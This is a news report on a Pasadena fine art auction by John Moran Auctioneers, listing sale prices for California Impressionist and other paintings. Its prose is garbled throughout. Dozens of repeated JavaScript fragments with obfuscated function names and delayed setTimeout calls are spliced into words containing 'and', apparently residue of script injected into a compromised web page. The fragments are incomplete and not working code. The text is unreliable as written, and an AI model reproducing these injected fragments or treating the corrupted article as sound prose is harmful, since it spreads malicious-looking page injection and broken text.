PASADENA, CALIF. — John Moran Auctioneers amassed more than $1.7 million in sales at its California andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and American fine art auction conducted on March 25 at the Pasadena Convention Center. Attracted by a strong selection of works by top-tier artists, including two works by California Impressionist Guy Rose, bidders from all over California filled the large room to capacity. A number of works sold above their high estimates, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and several artists’ world records were broken within the span of an hour.

The first work by Rose (1867–1925) to go on the block was ‘’Windswept Trees, Laguna.” Rose painted the 40-by-30-inch oil on linen “en plein air” in 1917, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was so pleased with the result that he kept it in his private collection andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and reproduced it in a larger studio version, which now belongs to the Irvine Museum. Purchased from Stendahl Galleries at the Guy Rose Memorial Exhibition by members of the same family who consigned it to Moran’s, this work made its reappearance on the market with aplomb, realizing $480,000.

The second work by Rose, “Winter Haystacks at Crecy-en-Brie, France,” was painted earlier, in 1890, when Rose was a student in Paris. Possessing an authority andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and presence that belies its diminutive size, the delicately shaded oil was purchased by a determined floor bidder for a final price of $120,000.

One of the standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andout record-breaking paintings was a large andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dramatic oil by Paul Grimm (1891–1974), ‘’California Clouds.’’ Hailing from a private Orange County collection, the canvas went on the block with a conservative estimate of $7/9,000. Competing floor andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a full bank of telephone bidders quickly drove the price much higher, however, to a final bid of $30,000.

Sweeping Southern California landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscapes in general performed well. A bidding war broke out for a 40-by-60-inch canvas by Hanson Duval Puthuff (1875–1972) depicting a wide view of Big Tujunga Canyon. Bidding did not top out until the price reached the $96,000 mark, the work going home with a delighted phone bidder. John Frost’s (1890–1937) electrically colored oil on canvas, “San Jacinto, Palm Springs,” executed in a feathery, painterly handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, earned $85,750.

“The Beautiful Bay of Avalon’’ by Joe Duncan Gleason (1881–1959) also performed beyond expectations. The work serves as a fascinating architectural andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and geographical record of the popular resort town on Catalina Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and. Painted from a similar vantage point as the current record-holder for the artist, it takes its title from a poem by Jennie L.H. Giddings, whose family home, Holly Hill House, is the structure on the right of the canvas, facing the Sugar Loaf Casino on the other side of the bay. Gleason created the painting as a gift to the family upon their purchase of the property, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it remained in the family until the present day. The modestly sized painting realized an impressive $36,000.

A watercolor by Emil Kosa Jr (1903–1968) of downtown Los Angeles andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and City Hall was a somewhat moody composition, with dark clouds breaking apart to reveal bright blue Los Angeles skies, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and went to a floor bidder for $13,200. Another city scene, capturing the picturesque “Chinatown, San Francisco’’ by Jules Pages (1867–1946), earned $16,800.

Some new records were set by works by lesser known California artists. A muted oil by Ted Christensen (1911–1998), titled “Tiburon,’’ captures the hamlet on a foggy day, showing a road winding down through buildings to the distant bay covered in haze. Bidders enthusiastically pushed it to a price of $4,288.

Other results of note include Massachusetts artist John Whorf’s oil on canvas, “Southern Cruiser,” a dramatic maritime nocturne, looking over the bow of a ship andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and beyond to a view of crushing waves. Perhaps made all the more captivating with the inclusion of a solitary figure on deck, illuminated by an interior light, the work earned $30,000.

Prices reported include the buyer’s premium. For information, www.johnmoran.com or 626-793-1833.